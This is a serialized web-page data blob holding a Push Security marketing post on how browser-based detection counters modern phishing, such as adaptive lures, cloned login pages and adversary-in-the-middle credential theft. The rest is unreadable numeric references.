teams",{"items":117465},[117466,118095,118400],{"__typename":1429,"sys":117467,"content":117469,"title":118081,"synopsis":118082,"hashTags":59,"publishedDate":118083,"slug":118084,"tagsCollection":118085,"authorsCollection":118091},{"id":117468},"XQHcBu5kiSBd6MMwICYI4",{"json":117470},{"data":117471,"content":117472,"nodeType":1382},{},[117473,117480,117487,117495,117524,117531,117537,117540,117548,117555,117562,117605,117612,117619,117622,117630,117637,117644,117651,117669,117676,117682,117690,117697,117704,117711,117717,117720,117728,117736,117743,117751,117758,117820,117827,117835,117842,117875,117883,117890,117898,117905,117913,117920,117973,117980,117983,117991,117998,118015,118048,118069,118075],{"data":117474,"content":117475,"nodeType":866},{},[117476],{"data":117477,"marks":117478,"value":117479,"nodeType":865},{},[],"Phishing has undergone a radical transformation. The laughably bad emails and fake PayPal logins of the past have given way to sophisticated campaigns engineered to slip through even the most hardened security stacks. ",{"data":117481,"content":117482,"nodeType":866},{},[117483],{"data":117484,"marks":117485,"value":117486,"nodeType":865},{},[],"Today’s phishing attacks are faster, more adaptable, and harder to catch with traditional tools. Email filters and threat intel still play an important role, but they’re often reacting to threats that are already in motion, and by the time a phishing link is flagged and blocklisted, someone has probably already clicked — and the attacker has moved onto their next set of links.",{"data":117488,"content":117489,"nodeType":866},{},[117490],{"data":117491,"marks":117492,"value":117494,"nodeType":865},{},[117493],{"type":926},"The problem isn’t that phishing has evolved. It’s that our defenses haven’t.",{"data":117496,"content":117497,"nodeType":866},{},[117498,117502,117511,117515,117520],{"data":117499,"marks":117500,"value":117501,"nodeType":865},{},[],"That’s where ",{"data":117503,"content":117505,"nodeType":889},{"uri":117504},"https://pushsecurity.com/uc/zero-day-phishing-protection",[117506],{"data":117507,"marks":117508,"value":117510,"nodeType":865},{},[117509],{"type":943},"Push Security",{"data":117512,"marks":117513,"value":117514,"nodeType":865},{},[]," comes in. By embedding real-time detection directly into the browser, the very place where phishing attacks unfold, Push offers a fundamentally new way to stop phishing: ",{"data":117516,"marks":117517,"value":117519,"nodeType":865},{},[117518],{"type":898},"as it happens",{"data":117521,"marks":117522,"value":117523,"nodeType":865},{},[],", regardless of whether or not the exact attack has ever been seen before. ",{"data":117525,"content":117526,"nodeType":866},{},[117527],{"data":117528,"marks":117529,"value":117530,"nodeType":865},{},[],"Check out the video to see how it works. ",{"data":117532,"content":117536,"nodeType":912},{"target":117533},{"sys":117534},{"id":117535,"type":909,"linkType":910},"4LaKobadjp19jjocLXcW4E",[],{"data":117538,"content":117539,"nodeType":972},{},[],{"data":117541,"content":117542,"nodeType":981},{},[117543],{"data":117544,"marks":117545,"value":117547,"nodeType":865},{},[117546],{"type":926},"The modern phishing playground",{"data":117549,"content":117550,"nodeType":866},{},[117551],{"data":117552,"marks":117553,"value":117554,"nodeType":865},{},[],"Phishing attacks today look nothing like the blunt instruments of a few years ago. These are fast, customized, and often completely ephemeral. A phishing domain might go live at 9 a.m., compromise scores of credentials, and be gone before lunch, long before it ever hits a threat intel feed.",{"data":117556,"content":117557,"nodeType":866},{},[117558],{"data":117559,"marks":117560,"value":117561,"nodeType":865},{},[],"Modern attackers use:",{"data":117563,"content":117564,"nodeType":1616},{},[117565,117575,117585,117595],{"data":117566,"content":117567,"nodeType":1570},{},[117568],{"data":117569,"content":117570,"nodeType":866},{},[117571],{"data":117572,"marks":117573,"value":117574,"nodeType":865},{},[],"Dynamic content and user-adaptive emails that can be easily changed based on the target’s identity and environment.",{"data":117576,"content":117577,"nodeType":1570},{},[117578],{"data":117579,"content":117580,"nodeType":866},{},[117581],{"data":117582,"marks":117583,"value":117584,"nodeType":865},{},[],"Obfuscated URLs hidden behind trusted services (like Google Sites), making reputation analysis less than reliable.",{"data":117586,"content":117587,"nodeType":1570},{},[117588],{"data":117589,"content":117590,"nodeType":866},{},[117591],{"data":117592,"marks":117593,"value":117594,"nodeType":865},{},[],"Real-time proxying tools to clone login flows and harvest credentials.",{"data":117596,"content":117597,"nodeType":1570},{},[117598],{"data":117599,"content":117600,"nodeType":866},{},[117601],{"data":117602,"marks":117603,"value":117604,"nodeType":865},{},[],"Rapid-fire infrastructure rotation, making the attack’s infrastructure almost impossible to track in time.",{"data":117606,"content":117607,"nodeType":866},{},[117608],{"data":117609,"marks":117610,"value":117611,"nodeType":865},{},[],"These attacks often bypass traditional defenses entirely, not because the tools are broken, but because they were designed for a different era, one where phishing pages lived for days or weeks, not minutes.",{"data":117613,"content":117614,"nodeType":866},{},[117615],{"data":117616,"marks":117617,"value":117618,"nodeType":865},{},[],"It’s not enough to know what was bad yesterday. You need to know what’s happening now.",{"data":117620,"content":117621,"nodeType":972},{},[],{"data":117623,"content":117624,"nodeType":981},{},[117625],{"data":117626,"marks":117627,"value":117629,"nodeType":865},{},[117628],{"type":926},"Why blocklists and perimeter defenses are falling behind",{"data":117631,"content":117632,"nodeType":866},{},[117633],{"data":117634,"marks":117635,"value":117636,"nodeType":865},{},[],"The security ecosystem has long depended on reputation-based systems: block the known bad, allow the rest. That worked when attackers reused infrastructure and relied on mass campaigns. Today’s adversaries have adapted.",{"data":117638,"content":117639,"nodeType":866},{},[117640],{"data":117641,"marks":117642,"value":117643,"nodeType":865},{},[],"Consider a scenario similar to the one from our video:",{"data":117645,"content":117646,"nodeType":866},{},[117647],{"data":117648,"marks":117649,"value":117650,"nodeType":865},{},[],"A staff member receives an email appearing to be from Microsoft Teams. It includes dynamic content that mirrors their actual environment, including their username, company logo, and real collaboration data. The embedded link takes them to a cloned Microsoft login page hosted on a benign-looking subdomain. The site is brand new. It’s not on any blocklist. Your email filter passes it. The employee logs in. Credentials and session tokens? Gone.",{"data":117652,"content":117653,"nodeType":866},{},[117654,117658,117665],{"data":117655,"marks":117656,"value":117657,"nodeType":865},{},[],"And that’s just step one. The attacker now pivots to connected apps like ",{"data":117659,"content":117660,"nodeType":889},{"uri":15860},[117661],{"data":117662,"marks":117663,"value":102968,"nodeType":865},{},[117664],{"type":943},{"data":117666,"marks":117667,"value":117668,"nodeType":865},{},[],", Confluence, or AWS, moving laterally through your cloud environment using the compromised credentials.",{"data":117670,"content":117671,"nodeType":866},{},[117672],{"data":117673,"marks":117674,"value":117675,"nodeType":865},{},[],"Traditional tools often miss these threats not due to a lack of sophistication, but because they’re looking from the outside in. The browser is where the attack actually unfolds. Without visibility there, key indicators of compromise go undetected.",{"data":117677,"content":117681,"nodeType":912},{"target":117678},{"sys":117679},{"id":117680,"type":909,"linkType":910},"1UGu43QxCiYofkeGtOMp5J",[],{"data":117683,"content":117684,"nodeType":981},{},[117685],{"data":117686,"marks":117687,"value":117689,"nodeType":865},{},[117688],{"type":926},"Rethinking where phishing defense happens",{"data":117691,"content":117692,"nodeType":866},{},[117693],{"data":117694,"marks":117695,"value":117696,"nodeType":865},{},[],"Push changes where phishing protection happens, from upstream detection to point-of-interaction control. Instead of chasing malicious links through email gateways or external threat feeds, Push embeds lightweight, always-on protection directly, as users go about their work in the browser.",{"data":117698,"content":117699,"nodeType":866},{},[117700],{"data":117701,"marks":117702,"value":117703,"nodeType":865},{},[],"Push monitors what’s happening in each session: how pages are built, how they behave, and how users interact with them. That means it can recognize when a login prompt doesn’t match your identity provider or when a script behaves like part of a phishing toolkit.",{"data":117705,"content":117706,"nodeType":866},{},[117707],{"data":117708,"marks":117709,"value":117710,"nodeType":865},{},[],"When Push identifies something suspicious, it takes action right away. Logins are interrupted before any data is exposed. Users get clear guidance in-browser. And security teams receive detailed telemetry that shows exactly what happened, who was targeted, and how the threat was stopped.",{"data":117712,"content":117716,"nodeType":912},{"target":117713},{"sys":117714},{"id":117715,"type":909,"linkType":910},"7Hu3kypFWwJAGOuQp0kYmU",[],{"data":117718,"content":117719,"nodeType":972},{},[],{"data":117721,"content":117722,"nodeType":981},{},[117723],{"data":117724,"marks":117725,"value":117727,"nodeType":865},{},[117726],{"type":926},"The benefits of browser-native phishing defense",{"data":117729,"content":117730,"nodeType":1317},{},[117731],{"data":117732,"marks":117733,"value":117735,"nodeType":865},{},[117734],{"type":926},"True zero-day protection",{"data":117737,"content":117738,"nodeType":866},{},[117739],{"data":117740,"marks":117741,"value":117742,"nodeType":865},{},[],"Push doesn’t rely on known indicators of compromise. It evaluates the actual behavior and context of every session in real-time. Whether the phishing site was created 5 months ago or 5 minutes ago is irrelevant — Push detects it and shuts it down.",{"data":117744,"content":117745,"nodeType":1317},{},[117746],{"data":117747,"marks":117748,"value":117750,"nodeType":865},{},[117749],{"type":926},"Contextual threat detection",{"data":117752,"content":117753,"nodeType":866},{},[117754],{"data":117755,"marks":117756,"value":117757,"nodeType":865},{},[],"Because Push operates in the browser, it sees everything:",{"data":117759,"content":117760,"nodeType":1616},{},[117761,117771,117781,117800,117810],{"data":117762,"content":117763,"nodeType":1570},{},[117764],{"data":117765,"content":117766,"nodeType":866},{},[117767],{"data":117768,"marks":117769,"value":117770,"nodeType":865},{},[],"The page layout",{"data":117772,"content":117773,"nodeType":1570},{},[117774],{"data":117775,"content":117776,"nodeType":866},{},[117777],{"data":117778,"marks":117779,"value":117780,"nodeType":865},{},[],"Where the user came from",{"data":117782,"content":117783,"nodeType":1570},{},[117784],{"data":117785,"content":117786,"nodeType":866},{},[117787,117790,117797],{"data":117788,"marks":117789,"value":113738,"nodeType":865},{},[],{"data":117791,"content":117792,"nodeType":889},{"uri":110870},[117793],{"data":117794,"marks":117795,"value":113746,"nodeType":865},{},[117796],{"type":943},{"data":117798,"marks":117799,"value":21,"nodeType":865},{},[],{"data":117801,"content":117802,"nodeType":1570},{},[117803],{"data":117804,"content":117805,"nodeType":866},{},[117806],{"data":117807,"marks":117808,"value":117809,"nodeType":865},{},[],"What scripts are running",{"data":117811,"content":117812,"nodeType":1570},{},[117813],{"data":117814,"content":117815,"nodeType":866},{},[117816],{"data":117817,"marks":117818,"value":117819,"nodeType":865},{},[],"And where credentials are being sent",{"data":117821,"content":117822,"nodeType":866},{},[117823],{"data":117824,"marks":117825,"value":117826,"nodeType":865},{},[],"This context enables Push to stop even well-camouflaged phishing attempts, including AitM attacks that bypass MFA.",{"data":117828,"content":117829,"nodeType":1317},{},[117830],{"data":117831,"marks":117832,"value":117834,"nodeType":865},{},[117833],{"type":926},"Real-time interception of malicious activity",{"data":117836,"content":117837,"nodeType":866},{},[117838],{"data":117839,"marks":117840,"value":117841,"nodeType":865},{},[],"As soon as a phishing attempt is confirmed, the response is immediate:",{"data":117843,"content":117844,"nodeType":1616},{},[117845,117855,117865],{"data":117846,"content":117847,"nodeType":1570},{},[117848],{"data":117849,"content":117850,"nodeType":866},{},[117851],{"data":117852,"marks":117853,"value":117854,"nodeType":865},{},[],"Credential entry is halted.",{"data":117856,"content":117857,"nodeType":1570},{},[117858],{"data":117859,"content":117860,"nodeType":866},{},[117861],{"data":117862,"marks":117863,"value":117864,"nodeType":865},{},[],"Sessions are revoked.",{"data":117866,"content":117867,"nodeType":1570},{},[117868],{"data":117869,"content":117870,"nodeType":866},{},[117871],{"data":117872,"marks":117873,"value":117874,"nodeType":865},{},[],"The user is protected without delay.",{"data":117876,"content":117877,"nodeType":1317},{},[117878],{"data":117879,"marks":117880,"value":117882,"nodeType":865},{},[117881],{"type":926},"Reduced incident response overhead",{"data":117884,"content":117885,"nodeType":866},{},[117886],{"data":117887,"marks":117888,"value":117889,"nodeType":865},{},[],"Most phishing attacks end in hours of IR and expensive cleanup. With Push, attacks don’t escalate beyond the initial click. That means fewer compromised accounts, fewer escalations, and less fatigue on your security team.",{"data":117891,"content":117892,"nodeType":1317},{},[117893],{"data":117894,"marks":117895,"value":117897,"nodeType":865},{},[117896],{"type":926},"Empowered, educated users",{"data":117899,"content":117900,"nodeType":866},{},[117901],{"data":117902,"marks":117903,"value":117904,"nodeType":865},{},[],"Push doesn’t just block phishing; it helps users learn from it. When someone interacts with a suspicious page, they get clear, actionable feedback right in the browser. Over time, these in-the-moment cues help build stronger phishing awareness across your workforce. Employee-facing messages are fully customizable to match the tone and style of your organization.",{"data":117906,"content":117907,"nodeType":1317},{},[117908],{"data":117909,"marks":117910,"value":117912,"nodeType":865},{},[117911],{"type":926},"A new paradigm for identity security",{"data":117914,"content":117915,"nodeType":866},{},[117916],{"data":117917,"marks":117918,"value":117919,"nodeType":865},{},[],"While phishing detection is core, Push also helps you defend your entire browser-based identity attack surface. That means protecting against other common forms of account compromise, like:",{"data":117921,"content":117922,"nodeType":1616},{},[117923,117933,117943,117953,117963],{"data":117924,"content":117925,"nodeType":1570},{},[117926],{"data":117927,"content":117928,"nodeType":866},{},[117929],{"data":117930,"marks":117931,"value":117932,"nodeType":865},{},[],"Employees using breached or reused passwords",{"data":117934,"content":117935,"nodeType":1570},{},[117936],{"data":117937,"content":117938,"nodeType":866},{},[117939],{"data":117940,"marks":117941,"value":117942,"nodeType":865},{},[],"Missing or misconfigured MFA",{"data":117944,"content":117945,"nodeType":1570},{},[117946],{"data":117947,"content":117948,"nodeType":866},{},[117949],{"data":117950,"marks":117951,"value":117952,"nodeType":865},{},[],"Ghost logins that bypass your identity provider",{"data":117954,"content":117955,"nodeType":1570},{},[117956],{"data":117957,"content":117958,"nodeType":866},{},[117959],{"data":117960,"marks":117961,"value":117962,"nodeType":865},{},[],"Token-based session hijacking",{"data":117964,"content":117965,"nodeType":1570},{},[117966],{"data":117967,"content":117968,"nodeType":866},{},[117969],{"data":117970,"marks":117971,"value":117972,"nodeType":865},{},[],"Shadow SaaS usage",{"data":117974,"content":117975,"nodeType":866},{},[117976],{"data":117977,"marks":117978,"value":117979,"nodeType":865},{},[],"Because Push runs directly in the browser, it gives you visibility across every app your employees access, whether it’s officially managed or not. And it doesn’t just alert, it actively helps you fix the issues, guiding users to take action when risks are found.",{"data":117981,"content":117982,"nodeType":972},{},[],{"data":117984,"content":117985,"nodeType":981},{},[117986],{"data":117987,"marks":117988,"value":117990,"nodeType":865},{},[117989],{"type":926},"Modern phishing requires a modern defense",{"data":117992,"content":117993,"nodeType":866},{},[117994],{"data":117995,"marks":117996,"value":117997,"nodeType":865},{},[],"Phishing is no longer an email problem. It’s not even just a domain reputation problem. It’s an identity attack problem, and the only place you can see those attacks in action is inside the browser.",{"data":117999,"content":118000,"nodeType":866},{},[118001,118005,118012],{"data":118002,"marks":118003,"value":118004,"nodeType":865},{},[],"Push Security gives you a new advantage: proactive, in-browser protection against modern phishing campaigns — ",{"data":118006,"content":118007,"nodeType":889},{"uri":117504},[118008],{"data":118009,"marks":118010,"value":118011,"nodeType":865},{},[],"even those with never-before-seen phishing sites",{"data":118013,"marks":118014,"value":1615,"nodeType":865},{},[],{"data":118016,"content":118017,"nodeType":1616},{},[118018,118028,118038],{"data":118019,"content":118020,"nodeType":1570},{},[118021],{"data":118022,"content":118023,"nodeType":866},{},[118024],{"data":118025,"marks":118026,"value":118027,"nodeType":865},{},[],"See the phish happen.",{"data":118029,"content":118030,"nodeType":1570},{},[118031],{"data":118032,"content":118033,"nodeType":866},{},[118034],{"data":118035,"marks":118036,"value":118037,"nodeType":865},{},[],"Stop it in real time.",{"data":118039,"content":118040,"nodeType":1570},{},[118041],{"data":118042,"content":118043,"nodeType":866},{},[118044],{"data":118045,"marks":118046,"value":118047,"nodeType":865},{},[],"Keep your workforce identities safe.",{"data":118049,"content":118050,"nodeType":866},{},[118051,118056,118064],{"data":118052,"marks":118053,"value":118055,"nodeType":865},{},[118054],{"type":926},"Want to see Push in action? ",{"data":118057,"content":118058,"nodeType":889},{"uri":16069},[118059],{"data":118060,"marks":118061,"value":118063,"nodeType":865},{},[118062],{"type":926},"Book a demo",{"data":118065,"marks":118066,"value":118068,"nodeType":865},{},[118067],{"type":926}," and watch a real-time phishing attack get stopped mid-flow.",{"data":118070,"content":118074,"nodeType":912},{"target":118071},{"sys":118072},{"id":118073,"type":909,"linkType":910},"7eSsPjEj178j3ViloaChbQ",[],{"data":118076,"content":118077,"nodeType":866},{},[118078],{"data":118079,"marks":118080,"value":21,"nodeType":865},{},[],"How browser-level controls change the fight against phishing","Attackers are routinely defeating conventional email, network, and endpoint-based security controls. Here's how browser controls can level the playing field.","2025-06-26T00:00:00.000Z","how-browser-level-controls-change-the-fight-against-phishing",{"items":118086},[118087,118089],{"sys":118088,"name":7796},{"id":7795},{"sys":118090,"name":342},{"id":4642},{"items":118092},[118093],{"fullName":4680,"firstName":4681,"jobTitle":4616,"profilePicture":118094},{"url":4683},{"__typename":1429,"sys":118096,"content":118097,"title":87659,"synopsis":115872,"hashTags":59,"publishedDate":115873,"slug":87660,"tagsCollection":118392,"authorsCollection":118396},{"id":80645},{"json":118098},{"data":118099,"content":118100,"nodeType":1382},{},[118101,118107,118113,118119,118124,118130,118160,118166,118172,118178,118183,118189,118195,118210,118215,118221,118237,118253,118259,118265,118271,118277,118283,118289,118295,118311,118317,118323,118328,118334,118340,118360,118365,118381,118386],{"data":118102,"content":118103,"nodeType":866},{},[118104],{"data":118105,"marks":118106,"value":115540,"nodeType":865},{},[],{"data":118108,"content":118109,"nodeType":866},{},[118110],{"data":118111,"marks":118112,"value":115547,"nodeType":865},{},[],{"data":118114,"content":118115,"nodeType":866},{},[118116],{"data":118117,"marks":118118,"value":115554,"nodeType":865},{},[],{"data":118120,"content":118123,"nodeType":912},{"target":118121},{"sys":118122},{"id":115559,"type":909,"linkType":910},[],{"data":118125,"content":118126,"nodeType":866},{},[118127],{"data":118128,"marks":118129,"value":115567,"nodeType":865},{},[],{"data":118131,"content":118132,"nodeType":1616},{},[118133,118142,118151],{"data":118134,"content":118135,"nodeType":1570},{},[118136],{"data":118137,"content":118138,"nodeType":866},{},[118139],{"data":118140,"marks":118141,"value":115580,"nodeType":865},{},[],{"data":118143,"content":118144,"nodeType":1570},{},[118145],{"data":118146,"content":118147,"nodeType":866},{},[118148],{"data":118149,"marks":118150,"value":115590,"nodeType":865},{},[],{"data":118152,"content":118153,"nodeType":1570},{},[118154],{"data":118155,"content":118156,"nodeType":866},{},[118157],{"data":118158,"marks":118159,"value":115600,"nodeType":865},{},[],{"data":118161,"content":118162,"nodeType":866},{},[118163],{"data":118164,"marks":118165,"value":115607,"nodeType":865},{},[],{"data":118167,"content":118168,"nodeType":981},{},[118169],{"data":118170,"marks":118171,"value":115614,"nodeType":865},{},[],{"data":118173,"content":118174,"nodeType":866},{},[118175],{"data":118176,"marks":118177,"value":115621,"nodeType":865},{},[],{"data":118179,"content":118182,"nodeType":912},{"target":118180},{"sys":118181},{"id":115626,"type":909,"linkType":910},[],{"data":118184,"content":118185,"nodeType":866},{},[118186],{"data":118187,"marks":118188,"value":115634,"nodeType":865},{},[],{"data":118190,"content":118191,"nodeType":981},{},[118192],{"data":118193,"marks":118194,"value":115641,"nodeType":865},{},[],{"data":118196,"content":118197,"nodeType":866},{},[118198,118201,118207],{"data":118199,"marks":118200,"value":115648,"nodeType":865},{},[],{"data":118202,"content":118203,"nodeType":889},{"uri":54299},[118204],{"data":118205,"marks":118206,"value":115655,"nodeType":865},{},[],{"data":118208,"marks":118209,"value":115659,"nodeType":865},{},[],{"data":118211,"content":118214,"nodeType":912},{"target":118212},{"sys":118213},{"id":54408,"type":909,"linkType":910},[],{"data":118216,"content":118217,"nodeType":1317},{},[118218],{"data":118219,"marks":118220,"value":115671,"nodeType":865},{},[],{"data":118222,"content":118223,"nodeType":866},{},[118224,118227,118234],{"data":118225,"marks":118226,"value":115678,"nodeType":865},{},[],{"data":118228,"content":118229,"nodeType":889},{"uri":115681},[118230],{"data":118231,"marks":118232,"value":115687,"nodeType":865},{},[118233],{"type":943},{"data":118235,"marks":118236,"value":115691,"nodeType":865},{},[],{"data":118238,"content":118239,"nodeType":866},{},[118240,118243,118250],{"data":118241,"marks":118242,"value":115698,"nodeType":865},{},[],{"data":118244,"content":118245,"nodeType":889},{"uri":53413},[118246],{"data":118247,"marks":118248,"value":53419,"nodeType":865},{},[118249],{"type":943},{"data":118251,"marks":118252,"value":115709,"nodeType":865},{},[],{"data":118254,"content":118255,"nodeType":866},{},[118256],{"data":118257,"marks":118258,"value":115716,"nodeType":865},{},[],{"data":118260,"content":118261,"nodeType":866},{},[118262],{"data":118263,"marks":118264,"value":115723,"nodeType":865},{},[],{"data":118266,"content":118267,"nodeType":1317},{},[118268],{"data":118269,"marks":118270,"value":115730,"nodeType":865},{},[],{"data":118272,"content":118273,"nodeType":866},{},[118274],{"data":118275,"marks":118276,"value":115737,"nodeType":865},{},[],{"data":118278,"content":118279,"nodeType":866},{},[118280],{"data":118281,"marks":118282,"value":115744,"nodeType":865},{},[],{"data":118284,"content":118285,"nodeType":981},{},[118286],{"data":118287,"marks":118288,"value":115751,"nodeType":865},{},[],{"data":118290,"content":118291,"nodeType":866},{},[118292],{"data":118293,"marks":118294,"value":115758,"nodeType":865},{},[],{"data":118296,"content":118297,"nodeType":866},{},[118298,118301,118308],{"data":118299,"marks":118300,"value":115765,"nodeType":865},{},[],{"data":118302,"content":118303,"nodeType":889},{"uri":115768},[118304],{"data":118305,"marks":118306,"value":115774,"nodeType":865},{},[118307],{"type":943},{"data":118309,"marks":118310,"value":115778,"nodeType":865},{},[],{"data":118312,"content":118313,"nodeType":866},{},[118314],{"data":118315,"marks":118316,"value":115785,"nodeType":865},{},[],{"data":118318,"content":118319,"nodeType":866},{},[118320],{"data":118321,"marks":118322,"value":115792,"nodeType":865},{},[],{"data":118324,"content":118327,"nodeType":912},{"target":118325},{"sys":118326},{"id":115797,"type":909,"linkType":910},[],{"data":118329,"content":118330,"nodeType":981},{},[118331],{"data":118332,"marks":118333,"value":54483,"nodeType":865},{},[],{"data":118335,"content":118336,"nodeType":866},{},[118337],{"data":118338,"marks":118339,"value":115811,"nodeType":865},{},[],{"data":118341,"content":118342,"nodeType":866},{},[118343,118346,118350,118353,118357],{"data":118344,"marks":118345,"value":115818,"nodeType":865},{},[],{"data":118347,"marks":118348,"value":58582,"nodeType":865},{},[118349],{"type":926},{"data":118351,"marks":118352,"value":115826,"nodeType":865},{},[],{"data":118354,"marks":118355,"value":115831,"nodeType":865},{},[118356],{"type":926},{"data":118358,"marks":118359,"value":115835,"nodeType":865},{},[],{"data":118361,"content":118364,"nodeType":912},{"target":118362},{"sys":118363},{"id":115840,"type":909,"linkType":910},[],{"data":118366,"content":118367,"nodeType":866},{},[118368,118371,118378],{"data":118369,"marks":118370,"value":115848,"nodeType":865},{},[],{"data":118372,"content":118373,"nodeType":889},{"uri":16069},[118374],{"data":118375,"marks":118376,"value":14066,"nodeType":865},{},[118377],{"type":943},{"data":118379,"marks":118380,"value":115859,"nodeType":865},{},[],{"data":118382,"content":118385,"nodeType":912},{"target":118383},{"sys":118384},{"id":115864,"type":909,"linkType":910},[],{"data":118387,"content":118388,"nodeType":866},{},[118389],{"data":118390,"marks":118391,"value":21,"nodeType":865},{},[],{"items":118393},[118394],{"sys":118395,"name":297},{"id":2310},{"items":118397},[118398],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":118399},{"url":4618},{"__typename":1429,"sys":118401,"content":118402,"title":104104,"synopsis":104105,"hashTags":59,"publishedDate":104106,"slug":104107,"tagsCollection":118975,"authorsCollection":118981},{"id":103449},{"json":118403},{"data":118404,"content":118405,"nodeType":1382},{},[118406,118412,118418,118423,118443,118460,118463,118470,118476,118482,118489,118505,118508,118515,118521,118526,118532,118537,118540,118547,118553,118559,118580,118586,118616,118622,118629,118645,118651,118656,118679,118705,118712,118718,118724,118754,118757,118764,118780,118786,118807,118813,118818,118821,118828,118834,118943,118946,118953,118959],{"data":118407,"content":118408,"nodeType":866},{},[118409],{"data":118410,"marks":118411,"value":103460,"nodeType":865},{},[],{"data":118413,"content":118414,"nodeType":866},{},[118415],{"data":118416,"marks":118417,"value":103467,"nodeType":865},{},[],{"data":118419,"content":118422,"nodeType":912},{"target":118420},{"sys":118421},{"id":103472,"type":909,"linkType":910},[],{"data":118424,"content":118425,"nodeType":866},{},[118426,118429,118433,118436,118440],{"data":118427,"marks":118428,"value":103480,"nodeType":865},{},[],{"data":118430,"marks":118431,"value":103485,"nodeType":865},{},[118432],{"type":943},{"data":118434,"marks":118435,"value":103489,"nodeType":865},{},[],{"data":118437,"marks":118438,"value":103494,"nodeType":865},{},[118439],{"type":943},{"data":118441,"marks":118442,"value":103498,"nodeType":865},{},[],{"data":118444,"content":118445,"nodeType":866},{},[118446,118449,118457],{"data":118447,"marks":118448,"value":103505,"nodeType":865},{},[],{"data":118450,"content":118451,"nodeType":889},{"uri":103508},[118452],{"data":118453,"marks":118454,"value":103515,"nodeType":865},{},[118455,118456],{"type":943},{"type":926},{"data":118458,"marks":118459,"value":1615,"nodeType":865},{},[],{"data":118461,"content":118462,"nodeType":972},{},[],{"data":118464,"content":118465,"nodeType":981},{},[118466],{"data":118467,"marks":118468,"value":103529,"nodeType":865},{},[118469],{"type":926},{"data":118471,"content":118472,"nodeType":866},{},[118473],{"data":118474,"marks":118475,"value":103536,"nodeType":865},{},[],{"data":118477,"content":118478,"nodeType":866},{},[118479],{"data":118480,"marks":118481,"value":103543,"nodeType":865},{},[],{"data":118483,"content":118484,"nodeType":866},{},[118485],{"data":118486,"marks":118487,"value":103551,"nodeType":865},{},[118488],{"type":926},{"data":118490,"content":118491,"nodeType":866},{},[118492,118495,118502],{"data":118493,"marks":118494,"value":103558,"nodeType":865},{},[],{"data":118496,"content":118497,"nodeType":889},{"uri":103561},[118498],{"data":118499,"marks":118500,"value":103567,"nodeType":865},{},[118501],{"type":943},{"data":118503,"marks":118504,"value":103571,"nodeType":865},{},[],{"data":118506,"content":118507,"nodeType":972},{},[],{"data":118509,"content":118510,"nodeType":981},{},[118511],{"data":118512,"marks":118513,"value":103582,"nodeType":865},{},[118514],{"type":926},{"data":118516,"content":118517,"nodeType":866},{},[118518],{"data":118519,"marks":118520,"value":103589,"nodeType":865},{},[],{"data":118522,"content":118525,"nodeType":912},{"target":118523},{"sys":118524},{"id":103594,"type":909,"linkType":910},[],{"data":118527,"content":118528,"nodeType":866},{},[118529],{"data":118530,"marks":118531,"value":103602,"nodeType":865},{},[],{"data":118533,"content":118536,"nodeType":912},{"target":118534},{"sys":118535},{"id":103607,"type":909,"linkType":910},[],{"data":118538,"content":118539,"nodeType":972},{},[],{"data":118541,"content":118542,"nodeType":981},{},[118543],{"data":118544,"marks":118545,"value":103619,"nodeType":865},{},[118546],{"type":926},{"data":118548,"content":118549,"nodeType":866},{},[118550],{"data":118551,"marks":118552,"value":103626,"nodeType":865},{},[],{"data":118554,"content":118555,"nodeType":866},{},[118556],{"data":118557,"marks":118558,"value":103633,"nodeType":865},{},[],{"data":118560,"content":118561,"nodeType":1616},{},[118562,118571],{"data":118563,"content":118564,"nodeType":1570},{},[118565],{"data":118566,"content":118567,"nodeType":866},{},[118568],{"data":118569,"marks":118570,"value":103646,"nodeType":865},{},[],{"data":118572,"content":118573,"nodeType":1570},{},[118574],{"data":118575,"content":118576,"nodeType":866},{},[118577],{"data":118578,"marks":118579,"value":103656,"nodeType":865},{},[],{"data":118581,"content":118582,"nodeType":866},{},[118583],{"data":118584,"marks":118585,"value":103663,"nodeType":865},{},[],{"data":118587,"content":118588,"nodeType":1616},{},[118589,118598,118607],{"data":118590,"content":118591,"nodeType":1570},{},[118592],{"data":118593,"content":118594,"nodeType":866},{},[118595],{"data":118596,"marks":118597,"value":103676,"nodeType":865},{},[],{"data":118599,"content":118600,"nodeType":1570},{},[118601],{"data":118602,"content":118603,"nodeType":866},{},[118604],{"data":118605,"marks":118606,"value":103686,"nodeType":865},{},[],{"data":118608,"content":118609,"nodeType":1570},{},[118610],{"data":118611,"content":118612,"nodeType":866},{},[118613],{"data":118614,"marks":118615,"value":103696,"nodeType":865},{},[],{"data":118617,"content":118618,"nodeType":866},{},[118619],{"data":118620,"marks":118621,"value":103703,"nodeType":865},{},[],{"data":118623,"content":118624,"nodeType":1317},{},[118625],{"data":118626,"marks":118627,"value":103711,"nodeType":865},{},[118628],{"type":926},{"data":118630,"content":118631,"nodeType":866},{},[118632,118635,118642],{"data":118633,"marks":118634,"value":103718,"nodeType":865},{},[],{"data":118636,"content":118637,"nodeType":889},{"uri":103721},[118638],{"data":118639,"marks":118640,"value":8641,"nodeType":865},{},[118641],{"type":943},{"data":118643,"marks":118644,"value":103730,"nodeType":865},{},[],{"data":118646,"content":118647,"nodeType":866},{},[118648],{"data":118649,"marks":118650,"value":103737,"nodeType":865},{},[],{"data":118652,"content":118655,"nodeType":912},{"target":118653},{"sys":118654},{"id":103742,"type":909,"linkType":910},[],{"data":118657,"content":118658,"nodeType":866},{},[118659,118662,118666,118669,118676],{"data":118660,"marks":118661,"value":103750,"nodeType":865},{},[],{"data":118663,"marks":118664,"value":103755,"nodeType":865},{},[118665],{"type":926},{"data":118667,"marks":118668,"value":103759,"nodeType":865},{},[],{"data":118670,"content":118671,"nodeType":889},{"uri":53259},[118672],{"data":118673,"marks":118674,"value":6715,"nodeType":865},{},[118675],{"type":943},{"data":118677,"marks":118678,"value":103770,"nodeType":865},{},[],{"data":118680,"content":118681,"nodeType":866},{},[118682,118685,118692,118695,118702],{"data":118683,"marks":118684,"value":103777,"nodeType":865},{},[],{"data":118686,"content":118687,"nodeType":889},{"uri":70881},[118688],{"data":118689,"marks":118690,"value":70887,"nodeType":865},{},[118691],{"type":943},{"data":118693,"marks":118694,"value":4988,"nodeType":865},{},[],{"data":118696,"content":118697,"nodeType":889},{"uri":13768},[118698],{"data":118699,"marks":118700,"value":103795,"nodeType":865},{},[118701],{"type":943},{"data":118703,"marks":118704,"value":103799,"nodeType":865},{},[],{"data":118706,"content":118707,"nodeType":1317},{},[118708],{"data":118709,"marks":118710,"value":103807,"nodeType":865},{},[118711],{"type":926},{"data":118713,"content":118714,"nodeType":866},{},[118715],{"data":118716,"marks":118717,"value":103814,"nodeType":865},{},